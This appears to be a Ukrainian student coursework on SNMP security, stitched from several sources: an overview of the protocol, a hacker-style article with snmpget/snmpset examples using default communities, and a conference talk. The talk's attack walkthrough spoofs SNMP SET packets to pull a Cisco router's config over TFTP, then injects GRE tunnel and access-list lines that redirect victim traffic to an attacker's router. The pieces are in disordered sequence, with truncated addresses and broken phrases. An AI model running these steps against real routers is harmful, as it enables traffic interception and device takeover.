ВИСНОВОК
Дослідження присвячене питанням безпеки організації мережевої взаємодії за допомогою протоколу SNMP. У процесі роботи було виявлено особливості названого протоколу та можливі проблеми його використання. Для обґрунтування проблеми наведено статистичні дані, що підтверджують високу ймовірність реалізації атак мережі. Крім того, теоретична частина містить відомості про структуру протоколу, схему запитів/відгуків та етапи отримання відповідей на запити.
У рамках курсової роботи проведено аналіз можливих атак на протокол SNMP, серед яких можна виділити Dos-атаки, атаки типу «Переповнення буфера» та уразливості форматного рядка. Звичайно, потенційно можливих загроз набагато більше, але їх огляд передбачає більш глибоке і всебічне дослідження. ня.
Для побудови системи захисту мережевої взаємодії абонентів мережі були розглянуті способи запобігання атакам на протокол SNMP і зазначено, що ефективним буде застосування комплексу коштів.
На основі аналізу виявлено, що протокол SNMP досить вразливий і, якщо все-таки прийнято рішення про його використання, слід розробити безпекову політику і дотримуватися всіх її принципів.
Таким чином, можна зробити висновок про досягнення мети та вирішення завдань, визначених у вступі

ВСТУП
Сучасний стрімкий розвиток інформаційних технологій висуває нові вимоги до зберігання, обробки та розповсюдження даних. Від традиційних носіїв інформації та від виділених серверів компанії та приватні особи поступово переходять до дистанційних технологій, реалізованих через глобальну мережу Інтернет. Сервіси в Інтернет здатні стати незамінними інструментами функціонування сучасної, динамічно розвивається, до яких можна віднести електронну пошту; обмін файлами, голосовими повідомленнями даних з використанням відео-додатків; розробка власних Web-ресурсів.
На думку багатьох фахівців, широке застосування технологій Інтернет вимагає побудови системи ефективного управління мережевими пристроями, одним з інструментів якої може стати протоколом SNMP. Проте, організація управління та моніторингу мережевих пристроїв через цей протокол робить уразливими для атак елементи мережі. Таким чином, питання технології запобігання мережевим атакам у світлі розвитку сервісів Інтернет виходять на перший план і вимагають всебічного аналізу. Саме тому тема дослідження є актуальною.
Питанням побудови системи захисту від атак на протокол SNMP присвячені питання багатьох авторів, але єдиної думки щодо доцільності використання SNMP через складність забезпечення безпеки немає. Так, Фленов М. у своїй книзі "Linux очима Хакера" виділив недоліки даного протоколу і не рекомендує його застосування. Смирнова. В. У навчальному посібнику «Технології комутації та маршрутизації в локальних комп'ютерних мережах» викладає відомості щодо багатоадресних схем передачі даних та ефективного управління мережевим обладнанням за допомогою протоколу SNMP, а також окремо виділяє питання безпеки його застосування. Подальший огляд спеціальної літератури та Інтернет- джерел підтвердив необхідність дослідження питань безпечного застосування протоколу SNMP для прийняття рішення про доцільність його використання. Основою для цього рішення стане аналіз можливих атак та ефективності методів їх запобігання.
Мета дослідження – провести всебічний аналіз можливих атак на протокол SNMP та способів протидії.
Для досягнення мети необхідне вирішення низки завдань:
1. Провести огляд літератури та Інтернет-джерел з питань організації безпечної мережевої взаємодії на основі застосування протоколу SNMP.
2. Обґрунтувати необхідність вивчення методів атак на протокол SNMP та способів їх запобігання.
3. Виділити особливості управління з урахуванням протоколу SNMP.
4. Провести аналіз техніки на протокол SNMP.
5. Описати методи запобігання атакам на протокол SNMP.
Об'єкт дослідження – протокол SNMP.
Предмет дослідження – методи мережевих атак на протокол SNMP та способи їх запобігання.
Методи дослідження: аналіз, синтез, вивчення джерел інформації.
Курсова робота складається з вступу, двох розділів та висновків. Перший розділ присвячений теоретичному обґрунтуванню проблеми. Другий розділ містить аналіз можливих атак і способів їх запобігання

ЗМІСТ
ВСТУП 3
1. ТЕОРЕТИЧНЕ ОБГРУНТУВАННЯ ПРОБЛЕМИ ДОСЛІДЖЕННЯ МЕТОДІВ АТАК НА ПРОТОКОЛ SNMP
1.1 НЕОБХІДНІСТЬ ВИВЧЕННЯ МЕТОДІВ АТАК НА ПРОТОКОЛ SNMP 5
1.2 ПРОТОКОЛ SNMP: ОПИС, ПРИЗНАЧЕННЯ 7
2. АНАЛІЗ АТАК НА ПРОТОКОЛ SNMP І СПОСІБ ПРОТИДІЇ
2.1 ТЕХНІКИ АТАК НА ПРОТОКОЛ SNMP І СПОСОБИ ЇХ ПОПЕРЕДЖЕННЯ 11
2.2 СПОСОБИ ПРОТИДІЇ АТАКАМ НА ПРОТОКОЛ SNMP 15
ВИСНОВОК 20
СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ 21

СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ
Нормативно-правові акти
1. Федеральний закон Російської Федерації від 27 липня 2006 р. N 149-ФЗ Про інформацію, інформаційні технології та про захист інформації
Список спеціалізованої та наукової літератури
2. Бланк-Едельман Д. Perl для системного адміністрування, М: символ-Плюс, 2009. - 478с.
3. Бородакій В.Ю. Практика та перспективи створення захищеної інформаційно-обчислювальної хмари на основі МСС ОГВ / В.Ю. Бородакій, А.Ю. Добродєєв, П.А. Нащокін // Актуальні проблеми розвитку технологічних систем державної охорони, спеціального зв'язку та спеціального інформаційного забезпечення: VIII Всеросійська міжвідомча наукова конференція: матеріали та доповіді (Орел, 13-14 лютого 2013 р.). - о 10 год. Ч.4 / За заг.ред. В.В. Мізерова. - Орел: Акаде мія ФСТ Росії, 2013.
4. Гришина Н. В. Організація комплексної системи захисту інформації. - М.: Геліос АРВ, 2009. - 256 с,
5. Дуглас Р. Мауро Основи SNMP, 2-е видання / Дуглас Р. Мауро, Кевін Дж. Шмідт - М.: Символ-Плюс, 2012.-725с.
6. Кульгін М.В. Комп'ютерні мережі. Практика побудови. Для фахівців, СПб.: Пітер, 2003.-462с.
7. Мулюха В.А. Методи та засоби захисту комп'ютерної інформації. Міжмережеве екранування: Навчальний посібник / Мулюха В.А., Новопашенный А.Г., Подгурський Ю.Є. - СПб.: Видавництво СПбГПУ, 2010. - 91 с.
8. Оліфер В. Г., Оліфер Н. П. Комп'ютерні мережі. Принципи, технології, протоколи. - 4-те. – СПб: Пітер, 2010. -902с.
9. Технології комутації та маршрутизації в локальних комп'ютерних мережах: навчальний посібник / Смирнова. Ст та ін; ред. А.В. Пролетарського. - М.: Вид-во МДТУ ім. н.е. Баумана, 2013. – 389с.
10. Фленов М. Linux очима Хакера, СПб: BHV-Санкт-Петербург, 2005. – 544 с.
11. Хореєв П.В. Методи та засоби захисту інформації в комп'ютерних системах. – М.: видавничий центр “Академія”, 2005. –205 с.
12. Хорошко В. А., Чекатков А. А. Методи та засоби захисту інформації, К.: Юніор, 2003. – 504с.
Інтернет-джерела
13. IDS/IPS - Системи виявлення та запобігання вторгненням [Електронний ресурс] URL: http://netconfig.ru/server/ids-ips/.
14. Аналіз Інтернет-загроз у 2014 році. DDoS-атаки. Зламування веб-сайтів. [Електронний ресурс]. URL: http://onsec.ru/resources/Internet%20threats%20in%202014.%20Overview%20by%20Qrator-Wallarm.pdf
15. Коліщак А. Вразливість форматного рядка [Електронний ресурс]. URL: https://securityvulns.ru/articles/fsbug.asp
16. Перша миля, №04, 2013 [Електронний ресурс]. URL: http://www.lastmile.su/journal/article/3823
17. Сімейство стандартів SNMP [Електронний ресурс]. URL: https://ua.wikibooks.org/wiki /Сімейство_стандартів_SNMP
Іноземналітература
18. "CERT Advisory CA-2002-03: Multiple Vulnerabilities в багатьох Implementations of Simple Network Management Protocol (SNMP)", 12 Feb. 2002, (current 11 2002 March

SNMP- це протокол прикладного рівня, розроблений для стека TCP/IP, хоча є його реалізації та інших стеків, наприклад IPX/SPX. Протокол SNMP використовується для отримання від мережевих пристроїв інформації про їх статус, продуктивність та інші характеристики, які зберігаються в базі даних керуючої інформації MIB (Management Information Base). Простота SNMP багато в чому визначається простотою MIB SNMP, особливо перших версій MIB I і MIB II. Крім того, сам протокол SNMP також дуже простий.

Агент у протоколі SNMP - це обробний елемент, що забезпечує менеджерам, розміщеним на керуючих станціях мережі, доступом до значенням змінних MIB і цим дає можливість реалізовувати функції з управлінню і спостереженню пристроєм.

Основні операції з управління винесені в менеджер, а агент SNMP виконує найчастіше пасивну роль, передаючи в менеджер на його запит значення накопичених статистичних змінних. При цьому пристрій працює з мінімальними витратами підтримки керуючого протоколу. Воно використовує майже всю свою обчислювальну потужність для виконання своїх основних функцій маршрутизатора, моста або концентратора, а агент займається збиранням статистики та значень змінних стану пристрою та передачею їх менеджеру системи управління.

SNMP -це протокол типу «запит-відповідь», тобто кожен запит, що надійшов від менеджера, агент повинен передати відповідь. Особливістю протоколу є його надзвичайна простота - він включає лише кілька команд.

    Команда Get-request використовується менеджером для отримання від агента значення будь-якого об'єкта на його ім'я.

    Команда GetNext-request використовується менеджером для отримання значення наступного об'єкта (без вказівки його імені) при послідовному перегляді таблиці об'єктів.

    За допомогою команди Get-response агент SNMP передає менеджеру відповідь на команди Get-request або GetNext-request.

    Команда Set використовується менеджером зміни значення будь-якого об'єкта. За допомогою команди Set відбувається власне керування пристроєм. Агент повинен розуміти сенс значень об'єкта, який використовується для керування пристроєм, і на підставі цих значень виконувати реальний вплив, що управляє - відключити порт, приписати порт певної VLAN і т. п. Команда Set придатна також для встановлення умови, при виконанні якого агент SNMP повинен послати менеджера відповідне повідомлення. Може бути визначена реакція такі події, як ініціалізація агента, рестарт агента, обрив зв'язку, відновлення зв'язку, невірна аутентифікація і втрата найближчого маршрутизатора. Якщо відбувається будь-яка з цих подій, агент ініціалізує переривання.

    Команда Trap використовується агентом для повідомлення менеджеру про особливу ситуацію.

    Версія SNMP v.2 додає до цього набору команду GetBulk, яка дозволяє менеджеру отримати кілька змінних значень за один запит.

Ця стаття присвячена протоколу SNMP (Simple Network Management Protocol) - одному з протоколів моделі OSI, який практично не зачепили документацію просторів RU-нет. Автор спробував заповнити цей вакуум, надавши читачеві ґрунт для роздумів та самовдосконалення, щодо цього, можливо нового для Вас питання. Цей документ не претендує на звання "документації для розробника", а просто відображає бажання автора, наскільки це можливо, висвітлити аспекти роботи з цим протоколом, показати його слабкі місця, вразливість у системі "security", цілі переслідувані творцями та пояснити його призначення.

Призначення

Протокол SNMP було розроблено з метою перевірки функціонування мережевих маршрутизаторів та мостів. Згодом сфера дії протоколу охопила інші мережеві пристрої, такі як хаби, шлюзи, термінальні сервери, LAN Manager сервери, машини під керуванням Windows NT і т.д. Крім того, протокол допускає можливість внесення змін до функціонування зазначених пристроїв.

Теорія

Основними взаємодіючими особами протоколу є агенти та системи управління. Якщо розглядати ці два поняття мовою " клієнт-сервер " , то роль сервера виконують агенти, тобто самі пристрої, для опитування стану яких і розробили аналізований нами протокол. Відповідно, роль клієнтів відводиться системам управління - мережним додаткам, необхідним збору інформації про функціонування агентів. Крім цих двох суб'єктів у моделі протоколу можна назвати ще два: управляючу інформацію і сам протокол обміну даними.

"Для чого взагалі потрібно опитувати обладнання?" - Запитайте Ви. Намагатимусь пролити світло на це питання. Іноді в процесі функціонування мережі виникає необхідність визначити певні параметри деякого пристрою, такі як, наприклад, розмір MTU, кількість прийнятих пакетів, відкриті порти, встановлену на машині операційну систему та її версію, дізнатися чи включена опція форвардингу на машині та багато іншого. Для здійснення цього якнайкраще підходять SNMP клієнти.

Крім сказаного вище, протокол має ще одну важливу особливість, а саме можливість модифікувати дані на агентах. Безумовно, було б безглуздим дозволити модифікацію абсолютно будь-якого параметра, але, не зважаючи на це, і кількість тих параметрів, для яких допускається операція запису, просто лякає. З першого погляду це повністю спростовує всю теорію мережевої безпеки, але, якщо заглибитися у питання, стає ясно, що все так запущено, як здається з першого погляду. "Вовків боятися - до лісу не ходити". Адже за невеликих зусиль адміністратора мережі можна звести ризик успішного завершення атаки до мінімуму. Але цей аспект ми обговоримо пізніше.

Зупинимося на тому, яку ж інформацію може почерпнути система управління з надр SNMP. Вся інформація про об'єкти системи-агента потримається в так званій MIB (management information base) - базі керуючої інформації, тобто MIB є сукупністю об'єктів, доступних для операцій запису-читання для кожного конкретного клієнта, залежно від структури та призначення самого клієнта. Адже не має сенсу запитувати у термінального сервера кількість відкинутих пакетів, оскільки ці дані не мають жодного відношення до його роботи, оскільки інформація про адміністратора для маршрутизатора. Тому керуюча система повинна точно уявляти, що й у кого запитувати. На даний момент існує чотири бази MIB:

  1. Internet MIB – база даних об'єктів для забезпечення діагностики помилок та конфігурацій. Включає 171 об'єкт (у тому числі і об'єкти MIB I).
  2. LAN manager MIB – база з 90 об'єктів – паролі, сесії, користувачі, загальні ресурси.
  3. WINS MIB - база об'єктів, необхідні функціонування WINS сервера (WINSMIB.DLL).
  4. DHCP MIB - база об'єктів, необхідні функціонування DHCP сервера (DHCPMIB.DLL), службовця для динамічного виділення IP адрес у мережі.

Усі імена MIB мають ієрархічну структуру. Існує десять кореневих аліасів:

  1. System - дана група MIB II містить у собі сім об'єктів, кожен із яких служить для зберігання інформації про систему (версія ОС, час роботи і т.д.).
  2. Interfaces - містить 23 об'єкти, необхідні ведення статистики мережевих інтерфейсів агентів (кількість інтерфейсів, розмір MTU, швидкість передачі, фізичні адреси тощо.) .
  3. AT (3 об'єкти) – відповідають за трансляцію адрес. Більше не використовується. Була включена в MIB I. Прикладом використання об'єктів AT може послужити проста ARP таблиця (детальніше про ARP протокол можна почитати у статті "Нестандартне використання протоколу ARP", яку можна знайти на сайті www.uinc.ru в розділі "Articles") відповідності фізичних (MAC) адрес мережних карт IP адрес машин. У SNMP v2 ця інформація була перенесена до MIB для відповідних протоколів.
  4. IP (42 об'єкти) - дані про проходять IP пакети (кількість запитів, відповідей, відкинутих пакетів).
  5. ICMP (26 об'єктів) - інформація про контрольні повідомлення (вхідні/вихідні повідомлення, помилки тощо).
  6. TCP (19) - все, що стосується однойменного транспортного протоколу (алгоритми, константи, з'єднання, відкриті порти тощо).
  7. UDP (6) - аналогічно тільки для UDP протоколу (вхідні/вихідні датаграми, порти, помилки).
  8. EGP (20) - дані про трафік Exterior Gateway Protocol (використовується маршрутизаторами, об'єкти зберігають інформацію про прийняті/відіслані/відкинуті карти).
  9. Transmission – зарезервована для специфічних MIB.
  10. SNMP (29) - статистика з SNMP - вхідні/вихідні пакети, обмеження пакетів за розміром, помилки, дані про оброблені запити та багато іншого.

Кожен з них представимо у вигляді дерева, що росте вниз (система до болю нагадує організацію DNS). Наприклад, до адреси адміністратора ми можемо звернутися за допомогою такого шляху: system.sysContact.0 , часу роботи системи system.sysUpTime.0 , до опису системи (версія, ядро ​​та інша інформація про ОС) : system.sysDescr.0 . З іншого боку, ті ж дані можуть задаватися і в точковій нотації. Так system.sysUpTime.0 відповідає значення 1.3.0, оскільки system має індекс "1" у групах MIB II, а sysUpTime - 3 в ієрархії групи system. Нуль в кінці шляху говорить про скалярний тип даних, що зберігаються. Посилання на повний список (256 об'єктів MIB II) Ви можете знайти в кінці статті у розділі "Додаток". У процесі роботи символьні імена об'єктів не використовуються, тобто якщо менеджер запитує у агента вміст параметра system.sysDescr.0, то в рядку запиту посилання на об'єкт буде перетворено на "1.1.0", а не буде передано "як є". Далі ми розглянемо BULK-запит і тоді стане зрозумілим, чому це так важливо. На цьому ми завершимо огляд структури MIB II та перейдемо безпосередньо до опису взаємодії менеджерів (систем управління) та агентів. У SNMP клієнт взаємодіє з сервером за принципом запит-відповідь. Сам по собі агент здатний ініціювати тільки його дію, зване пасткою перериванням (у деякій літературі "trap" - пастка). Крім цього, всі дії агентів зводяться до відповідей на запити, надіслані менеджерами. Менеджери ж мають набагато більший "простір для творчості", вони можуть здійснювати чотири види запитів:

  • GetRequest - запит у агента інформації про одну змінну.
  • GetNextRequest - дає агенту вказівку видати дані про наступну (в ієрархії) змінну.
  • GetBulkRequest – запит за отримання масиву даних. При отриманні такого агент перевіряє типи даних у запиті на відповідність даним зі своєї таблиці і циклі заповнює структуру значеннями параметрів: for(repeatCount = 1; repeatCount< max_repetitions; repeatCount++) Теперь представьте себе запрос менеджера на получение списка из сотни значений переменных, посланный в символьном виде, и сравните размер такового с размером аналогичного запроса в точечной нотации. Думаю, Вы понимаете, к чему привела бы ситуация, если бы символьные имена не преобразовывались вышеуказанным образом.
  • SetRequest – вказівка ​​встановити певне значення зміною.

Крім цього, менеджери можуть обмінюватися один з одним інформацією про свою локальну MIB. Такий тип запитів має назву InformRequest.

Наведу значення числових констант для всіх видів запитів:

#define SNMP_MSG_GET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x0)
#define SNMP_MSG_GETNEXT (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x1)
#define SNMP_MSG_RESPONSE (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x2)
#define SNMP_MSG_SET (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x3)
/* PDU для SNMPv1 */
#define SNMP_MSG_TRAP (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x4)
/* PDU для SNMPv2 */
#define SNMP_MSG_GETBULK (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x5)
#define SNMP_MSG_INFORM (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x6)
#define SNMP_MSG_TRAP2 (ASN_CONTEXT | ASN_CONSTRUCTOR | 0x7)

Ось тут ми стикаємося з ще однією цікавою деталлю, як бачите на пастці є 2 числові константи. Насправді існує 2 основні версії протоколу SNMP (v1 & v2) і найважливіше те, що вони не сумісні (насправді версій значно більше -SNMP v2(p | c | u) etc, тільки всі ці модифікації досить незначні, тому що, наприклад, введення підтримки md5 і т.п.). SNMP - протокол контролю та діагностики, у зв'язку з чим він розрахований на ситуації, коли порушується цілісність маршрутів, крім того в такій ситуації потрібно якнайменш вимогливий з апаратури транспортний протокол, тому вибір був зроблений у бік UDP. Але це не означає, що інший протокол не може переносити пакети SNMP. Таким може бути IPX протокол (наприклад, у мережах NetWare) , і навіть у вигляді транспорту можуть бути карди Ethernet, осередки ATM. Відмінною особливістю протоколу, що розглядається, є те, що передача даних здійснюється без установки з'єднання.

Допустимо менеджер послав кілька пакетів різним агентам, як же системі управління надалі визначити який з пакетів, що приходять, стосується 1ого і 2ого агента? І тому кожному пакету приписується певний ID - числове значення. Коли агент отримує запит від менеджера, він генерує відповідь і вставляє в пакет значення ID , отримане з запиту (не модифікую його). Одним із ключових понять у SNMP є поняття group (група). Процедура авторизації менеджера є простою перевіркою на належність його до певної групи, зі списку, що у агента. Якщо агент не знаходить групи менеджера у своєму списку, їх подальша взаємодія неможлива. До цього ми кілька разів стикалися з першою та другою версією SNMP. Звернімо увагу на відмінність між ними. Насамперед зауважимо, що у SNMP v2 включена підтримка шифрування трафіку, для чого, залежно від реалізації, використовуються алгоритми DES, MD5. Це веде до того що при передачі даних найважливіші дані недоступні для вилучення сніфінгом, у тому числі інформація про групи мережі. Все це призвело до збільшення самого трафіку та ускладнення структури пакету. Сам по собі, зараз, v2 фактично ніде не вживається. Машини під керуванням Windows NT використовують SNMP v1. Таким чином, ми повільно переходимо до, мабуть, найцікавішої частини статті, а саме до проблем Security. Про це давайте і поговоримо...

Практика та безпека

В наш час питання мережевої безпеки набувають особливого значення, особливо коли йдеться про протоколи передачі даних, тим більше в корпоративних мережах. Навіть після поверхового знайомства з SNMP v1/v2 стає зрозуміло, що розробники протоколу думали про це в останню чергу або їх жорстко підтискали терміни здачі проекту %-). Складається враження, що протокол розрахований на роботу в середовищі так званих "довірених хостів". Уявімо собі якусь віртуальну особистість. Людини, точніше якась IP адреса, власник якої має намір отримати вигоду, або просто насолити адміністратору шляхом порушення роботи якоїсь мережі. Станемо на місце цієї особи. Розгляд цього питання зведемо до двох пунктів:

  • a) ми перебуваємо поза "ворожою мережею". Яким чином ми можемо зробити свою чорну справу? Насамперед припускаємо, що ми знаємо адресу шлюзу мережі. Згідно RFC, з'єднання системи управління з агентом відбувається по 161 порту (UDP). Згадаймо у тому, що з успішної роботи необхідно знання групи. Тут зловмиснику допоможе приходить те, що найчастіше адміністратори залишають значення (імена) груп, виставлені за умовчанням, а за умовчанням для SNMP існує дві групи - "private" і "public". Якщо адміністратор не передбачив такого розвитку подій, недоброзичливець може завдати йому безліч неприємностей. Як відомо, протокол SNMP є частиною FingerPrintering. За бажання, завдяки групі system MIB II, можна дізнатися досить великий обсяг інформації про систему. Чого хоча б вартий read-only параметр sysDescr. Адже, знаючи точно версію програмного забезпечення, є шанс, використовуючи засоби для відповідної ОС отримати повний контроль над системою. Я не дарма згадав атрибут read-only цього параметра. Адже не порившись у вихідниках snmpd (у разі UNIX подібної ОС), цей параметр змінити не можна, тобто агент сумлінно видасть зловмиснику всі необхідні йому дані. Адже не треба забувати про те, що продажі агентів під Windows поставляються без вихідних кодів, а знання операційної системи - 50% успіху атаки. Крім того, згадаємо про те, що безліч параметрів мають атрибут rw (read-write), і серед таких параметрів – форвардинг! Уявіть собі наслідки встановлення його режим "notForwarding(2)". Наприклад, у Linux реалізації ПЗ для SNMP під назвою ucd-snmp є можливість віддаленого запуску скриптів на сервера, шляхом посилки відповідного запиту. Думаю, всім зрозуміло, до чого можуть призвести "недоробки адміністратора".
  • б) зловмисник перебуває на локальній машині. У такому разі ймовірність звільнення адміну різко зростає. Адже перебування в одному сегменті мережі дає можливість простим сніффінг відловити назви груп, а з ними і безліч системної інформації. Цього випадку також стосується все сказане у пункті (а).

Перейдемо до "практичних занять". Що ж може знадобитися. Насамперед програмне забезпечення. Його можна дістати на . Приклади я наводитиму для ОС Лінукс, але синтаксис команд аналогічний Windows ПЗ.

Установка пакета стандартна:

gunzip udc-snmp-3.5.3.tar.gz
tar-xvf udc-snmp-3.5.3.tar
cd udc-snmp-3.5.3
./configure
make
make install

Запуск демона (агента)

Після інсталяції Вам доступні програми:

snmpget
snmpset
snmpgetnext
snmpwalk
snmpbulkwalk
snmpcheck
snmptest
snmpdelta
snmpnetstat snmpstatus
snmptable
snmptrap
snmptranstat
і демон
snmptrapd

Подивимося, як виглядають описані вище операції практично.

Запит GetRequest реалізує однойменна програма snmpget

Для отримання необхідної інформації виконаємо таку команду:

[email protected]:~# snmpget 10.0.0.2 public system.sysDescr.0

На що сервер сумлінно повідомить:

system.sysDescr.0 = Hardware: x86 Family 6 Model 5 Stepping 0 AT/AT COMPATIBLE - Software: Windows NT Version 4.0 (Build Number: 1381 Uniprocessor Free)

(не правда - досить змістовно), або ж

system.sysDescr.0 = Linux darkstar 2.4.5 #1 SMP Fri Aug 17 09:42:17 EEST 2001 i586

Прямо-таки - посібник із проникнення.

Припустимо, ми хочемо щось змінити в налаштуваннях агента. Зробимо наступну операцію:

[email protected]:~# snmpset 10.0.0.2 public system.sysContact.0 s [email protected]

і отримаємо відповідь:

system.sysContact.0 = [email protected]

Список об'єктів MIB II з атрибутами можна знайти за посиланням, зазначеним у "Додатку".

Думаю, настав час розглянути SNMP на пакетному рівні. Цей пакет був відловлений ніффером NetXRay на мережевому інтерфейсі агента:

Як бачимо – практика не далека від теорії. Спостерігаємо Request ID та параметри запиту. На повному скріншоті можна побачити стек протоколів – від кадрів Ethernet, через UDP доходимо до самого Simple Network Management Protocol:

А цей пакет було отримано з інтерфейсу менеджера:

Як бачите, назва групи абсолютно не шифрується (про що у свою чергу говорить Protocol version number: 1). Хочеться зазначити, що згідно зі специфікацією протоколу, пакети SNMP не мають чітко визначеної довжини. Існує обмеження зверху рівне довжині UDP повідомлення, що дорівнює 65507 байт, у свою чергу сам протокол накладає інше максимальне значення - лише 484 байта. У свою чергу немає встановленого значення і довжина заголовка пакета (headerLength).

Ну ось ми загалом і ознайомилися з протоколом SNMP. Що ще можна додати до сказаного вище... Можна лише дати пару порад мережевим адміністраторам, щоб зменшити ризик виникнення пролем з безпекою мережі... Насамперед належну увагу слід приділити налаштуванню файрволінгу. По-друге - змінити встановлені за умовчанням імена груп. Розумним було б жорстко зафіксувати адреси машин (менеджерів), з яких дозволяється опитування агентів. На цьому, вважаю, статтю можна закінчити. Хочеться вірити, що вона видалася Вам цікавою.

Інформаційна безпека – 2006

Доповідь

SNMP - зручний протокол

або загроза для корпоративної мережі

- ПередісторіяSNMP

Протокол SNMP (Simple Network Management Protocol) надає методи керування мережевими ресурсами.

Історія протоколу SNMP (Simple Network Management Protocol) починається зі свого попередника SGMP (Simple Gateway Monitoring Protocol), який був визначений в RFC 1028 в 1987 році. SGMP було розроблено як тимчасове рішення до мережевого управління.

Стандарт SGMP визначив основну модель дизайну, використовуваного в SNMP, описуючи SGMP протокол лише термінах пошуку та/або змін змінних, збережених на router-e. Цей стандарт також виділяється невеликою кількістю операцій, які все ще є основою операцій SNMP на сьогоднішній день.

Перша версія SNMP структури, SNMPv1, була визначена RFC 1067 (пізніше переглянута в RFC 1098 і 1157) в 1993 році.

Нова SNMPv2 специфікація була випущена в 1996 році і включала доробки, такі як: механізм блокування, 64-бітові лічильники, поліпшене повідомлення помилки.

Останній додаток до протоколу – SNMPv3 – визначений у 1999 році. В основному це той же SNMPv2, але з доопрацюваннями з точки зору безпеки, таких як: Security Model (модель захисту) та Access Control Model (модель керування доступом).


- Ефективний контроль над мережею

SNMP може використовуватися для управління будь-якою системою, підключеною до Інтернету

Витрати використання SNMP – мінімальні

Визначаючи нові «Керовані Об'єкти» (MIBs), можливості управління можуть бути розширені легко

SNMP досить стійкий; навіть у разі відмов у роботі, менеджер може продовжувати працювати (хоча може знадобитися трохи більше зусилля)

В даний час виробники пристроїв передачі даних включають стандартний SNMP. Цей протокол став найважливішим стандартом для мережного управління.

- ХібаSNMPце загроза?

Залежно від версії SNMP стандарту та правильності налаштування обладнання, цей протокол можна використовувати у багатьох галузях хакінгу, від дрібного хуліганства до ефективного промислового шпигунства.

Часто системні адміністратори мають невиразне уявлення про SNMP. Внаслідок невизначеного уявлення про призначення цього протоколу, а відповідно і незнання потенційно можливих проблем, питання його безпеки часто не беруться до уваги.

Той факт, що протокол SNMP заснований на UDP робить його ще більш цікавим. Будучи протоколом без встановлення з'єднання, UDP вразливий до атаки підміни IP (IP spoofing). Якщо у вашій організації є обладнання Cisco, ви готові дослідити те, що з ними можна зробити за допомогою SNMP.

Сценарій атаки 1.

Нижче наводиться поточна конфігурація атакованого маршрутизатора (Victim Router):

Current configuration: 1206 bytes

enable secret 5 $1$h2iz$DHYpcqURF0APD2aDuA. YX0

interface Ethernet0/0

interface Ethernet0/1

ip address 192.168.0

network 192.168.1.0

ip nat inside source list 102 interface Ethernet0/0 overload

no ip http server

access-list 1 permit 192.168.

access-list 102 permit ip any any

snmp-server community public RO

snmp-server community private RW 1

snmp-server enable traps tty

logging synchronous

Зверніть увагу на правило доступу для групи RW. Це правило намагається обмежити SNMP доступ до читання/запису, дозволивши його лише для користувачів з локальної мережі (192.168.1.0).

Можна виділити два основні етапи атаки:

Обхід правил доступу SNMP на маршрутизаторі, що атакується, з метою отримання доступу до конфігураційного файлу маршрутизатора. Створення GRE тунелю між маршрутизатором і маршрутизатором хакера для віддаленого перехоплення трафіку атакованої клієнтської машини (Victim Client).

Теорія

Використовуючи SNMP-команду SET, можна змусити Cisco маршрутизатор заміщати/надсилати його конфігураційний файл за допомогою TFTP.

Надіславши SNMP запит SET з підробленою IP адресою (з діапазону, описаного в RFC10) ми повинні змусити маршрутизатор, що атакується, відправити нам свій конфігураційний файл. Це передбачає, що ми знаємо 'private community string' та ACL, описані у рядку конфігурації групи RW.

Обхід правил доступу SNMP

Почнемо із створення підробленого SNMP запиту. Використовуючи невеликий Perl скрипт та Ethereal, перехопимо стандартний SNMP SET запит “copy config”, який ми будемо використовувати як базовий пакет.


[email protected]# ./copy-router-config. pl

######################################################

# Copy Cisco Router config - Using SNMP

# Hacked up by muts - *****@***co. il

#######################################################

Usage: ./cisco-copy-config. pl

Make sure a TFTP server is set up, preferably running from /tmp!

Після виконання скрипта буде перехоплено пакет SNMP. Як і очікувалося, цей запит був відхилений маршрутизатором, і файл конфігурації не був відісланий.


Зверніть увагу на IP-адресу атакуючого (80.179.76.227). Тепер, використовуючи hex-редактор, ми змінимо цю IP-адресу і деякі інші поля заголовка пакета. У шістнадцятковій системі числення підроблена IP адреса 192.168.1.5 виглядає як C0 A8

Потім ми надішлемо пакет, використовуючи file2cable (або будь-який інший генератор пакетів).

Пакет обходить правила доступу SNMP, і ми отримуємо конфігураційний файл router-a, що атакується, по TFTP.

GRE тунель

GRE (Generic Routing Encapsulation) – протокол тунелювання, розроблений для інкапсуляції довільних типів пакетів мережного рівня всередині пакету мережного рівня. Один із варіантів використання GRE – з'єднання сегментів IPX мережі через канал зв'язку, що підтримує лише мережевий рівень моделі OSI. У цьому випадку вам потрібно буде створити GRE тунель з одного маршрутизатора на інший для передачі IPX пакетів туди і назад через канал, який підтримує лише протокол IP.

Однак ми будемо використовувати GRE для досягнення цілей, відмінних від його звичайного призначення. Наш план полягає в наступному:

    Створити GRE тунель від атакованого маршрутизатора до хакера. Визначити, який трафік проходитиме через тунель. Розпакувати GRE пакети, що йдуть з атакованого маршрутизатора і переправляти їх на комп'ютер атакуючого (sniffer) для аналізу.

Атакований маршрутизатор

Нам потрібно створити GRE тунель на маршрутизаторі, що атакується. Так як доступу до терміналу (консолі) у нас немає, ми можемо просто відредагувати отриманий конфігураційний файл і потім відправити його назад на маршрутизатор, використовуючи підроблений SNMP SET запит. Додамо наступні рядки у файл конфігурації атакованого маршрутизатора:

interface tunnel0

ip address 192.168.10

tunnel source Ethernet0/0

tunnel destination

tunnel mode gre ip

Вони означають таке:

    Ми створили інтерфейс tunnel0 та вказали IP адресу з мережі 192.168.10.x. Для обміну даними обидва кінці тунелю повинні бути в одній підмережі. Ми вказали, що інтерфейс Ethernet0/0 є початком тунелю (а інакше, звідки тунель міг би починатися?) Кінець тунелю це IP-адреса зовнішнього інтерфейсу маршрутизатора хакера. Остання команда не обов'язкова, тому що за умовчанням все одно створюється саме GRE тунель (але ми все ж таки додали її для більшої впевненості).

Тепер ми можемо налаштувати правила доступу (access-lists) для вказівки типу трафіку, що проходить через тунель і карти маршрутизації (route-maps), необхідні для перенаправлення трафіку.

Для цього додамо у файл конфігурації атакованого маршрутизатора ще кілька рядків:

access-list 101 permit tcp any any eq 443

access-list 101 permit tcp any any eq 80

access-list 101 permit tcp any any eq 21

access-list 101 permit tcp any any eq 20

access-list 101 permit tcp any any eq 23

